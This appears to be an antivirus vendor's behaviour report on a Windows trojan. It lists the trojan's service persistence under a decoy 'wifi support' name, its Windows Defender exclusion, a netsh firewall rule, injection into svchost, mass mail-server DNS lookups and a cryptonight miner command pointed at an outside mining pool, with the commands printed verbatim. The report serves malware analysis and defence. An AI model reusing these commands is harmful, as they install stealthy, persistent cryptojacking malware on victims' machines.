Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\qcnvmcb] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\qcnvmcb] 'ImagePath' = '%WINDIR%\SysWOW64\qcnvmcb\usbclhws.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\qcnvmcb] 'ImagePath' = '%WINDIR%\SysWOW64\qcnvmcb\usbclhws.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\qcnvmcb' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\usbclhws.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\usbclhws.exe to %WINDIR%\syswow64\qcnvmcb\usbclhws.exe
Deletes itself.
Network activity
Connects to
- 'mx###03.web.de':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ya##o.ca
- DNS ASK mx.##arlet.be
- DNS ASK ti###linet.be
- DNS ASK ma#####.tigocloud.com.py
- DNS ASK ti##.com.py
- DNS ASK ya###.com.ar
- DNS ASK ma###g.az.pl
- DNS ASK ar##hne.pl
- DNS ASK 26#.net
- DNS ASK gm##lc.om
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK tu##er.com
- DNS ASK mx##.##oezesennetz.de
- DNS ASK er#####um-muenchen.de
- DNS ASK mx##.#egister.com
- DNS ASK st####resources.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK ya##o.es
- DNS ASK ml####01in.rlp.de
- DNS ASK ss####.bizmeka.com
- DNS ASK mx#.##stinger.co
- DNS ASK sp###sseoul.com
- DNS ASK us#######nbound-1.mimecast.com
- DNS ASK ca###ngaz.de
- DNS ASK do###post.com
- DNS ASK sm###n.rzone.de
- DNS ASK jj##etas.de
- DNS ASK mx##.ktk.de
- DNS ASK ew###nline.de
- DNS ASK mx##.#spgateway.de
- DNS ASK mm##.#mantel.net.om
- DNS ASK ba#####nningen-vg.de
- DNS ASK ve##zon.net
- DNS ASK mx#.mail.ru
- DNS ASK bk.ru
- DNS ASK bu##.##tto-online.de
- DNS ASK pl#s.de
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms#.#inet.net
- DNS ASK mx#.263.net
- DNS ASK pe###osa.com.co
- DNS ASK hc##ag.de
- DNS ASK bh#.de
- DNS ASK ma##.vefa.gr
- DNS ASK ve#a.gr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.co.uk
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK mx#.##antel.net.om
- DNS ASK om###el.net.om
- DNS ASK we#.de
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK wo####et.att.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ao#.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mx######91d01.pphosted.com
- DNS ASK we###karton.de
- DNS ASK st###steam.com
- DNS ASK ma########.frankfurt.postbank.de
- DNS ASK ya###.com.au
- DNS ASK ve###roup.com
- DNS ASK mx##.#mig.gmx.net
- DNS ASK gm#.de
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK cu######n.ozemail.com.au
- DNS ASK ma##.#eig-karton.de
- DNS ASK mx#.ovh.net
- DNS ASK c0##.#one.net.au
- DNS ASK ma##.#he5rooms.com
- DNS ASK th###ooms.com
- DNS ASK ma##t.org
- DNS ASK ya##o.fr
- DNS ASK aspmx.l.google.com
- DNS ASK bi####gham.com.au
- DNS ASK d6#####.##s.barracudanetworks.com
- DNS ASK th###deout.us
- DNS ASK mx###03.web.de
- DNS ASK sk#.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\qcnvmcb\usbclhws.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qcnvmcb\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\usbclhws.exe" %WINDIR%\SysWOW64\qcnvmcb\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create qcnvmcb binPath= "%WINDIR%\SysWOW64\qcnvmcb\usbclhws.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description qcnvmcb "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start qcnvmcb' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qcnvmcb\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\usbclhws.exe" %WINDIR%\SysWOW64\qcnvmcb\
- '%WINDIR%\syswow64\sc.exe' create qcnvmcb binPath= "%WINDIR%\SysWOW64\qcnvmcb\usbclhws.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description qcnvmcb "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start qcnvmcb
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://91.235.128.95:8087 -u w1 -p x --nicehash --safe
